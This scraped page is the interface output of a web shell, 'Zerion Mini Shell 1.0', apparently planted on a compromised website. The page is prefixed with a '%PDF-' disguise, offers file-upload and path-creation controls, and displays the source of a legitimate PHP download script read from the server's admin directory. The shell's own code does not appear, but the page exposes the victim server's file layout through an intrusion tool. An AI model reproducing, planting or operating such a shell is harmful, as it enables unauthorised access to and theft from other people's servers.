%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/pantanal/public_html/admin/includes/tng/pub/
Upload File :
Create Path :
Current File : /home/pantanal/public_html/admin/includes/tng/pub/tNG_download.php

<?php
/*
	Copyright (c) InterAKT Online 2000-2005
*/

include_once(dirname(realpath(__FILE__)) . '/../../common/lib/resources/KT_Resources.php');
$d = 'tNG';

KT_session_start();

$uniqueId = @$_GET['id'];
if (!isset($_SESSION['tNG']['download'][$uniqueId])) {
	die(KT_getResource('ERR_DOWNLOAD_FILE', $d));
}
if (!is_array($_SESSION['tNG']['download'][$uniqueId])) {
	die(KT_getResource('ERR_DOWNLOAD_FILE', $d));
}
if (!isset($_SESSION['tNG']['download'][$uniqueId]['realPath']) || !isset($_SESSION['tNG']['download'][$uniqueId]['fileName'])) {
	die(KT_getResource('ERR_DOWNLOAD_FILE', $d));
}
$realPath = $_SESSION['tNG']['download'][$uniqueId]['realPath'];
$fileName = $_SESSION['tNG']['download'][$uniqueId]['fileName'];
if (md5($realPath) != $uniqueId) {
	die(KT_getResource('ERR_DOWNLOAD_FILE_WRONG_HASH', $d));
}

if (!@fopen($realPath, "rb")) {
	die(KT_getResource('ERR_DOWNLOAD_FILE_NO_READ', $d, array($realPath)));
}
//define('MAX_READ',131072);
$mime_type = (function_exists('mime_content_type'))? mime_content_type($realPath): 'application/octet-stream';
header('Content-type: '.$mime_type);
header('Cache-control: private');
header('Content-Length: ' . filesize($realPath));
header('Content-disposition: attachment; filename="' . $fileName . '";');
if (!readfile($realPath)) {
	header('Status-code: 404');
	die(KT_getResource('ERR_DOWNLOAD_FILE_NO_READ', $d, array($realPath)));
}
exit;
?>

Zerion Mini Shell 1.0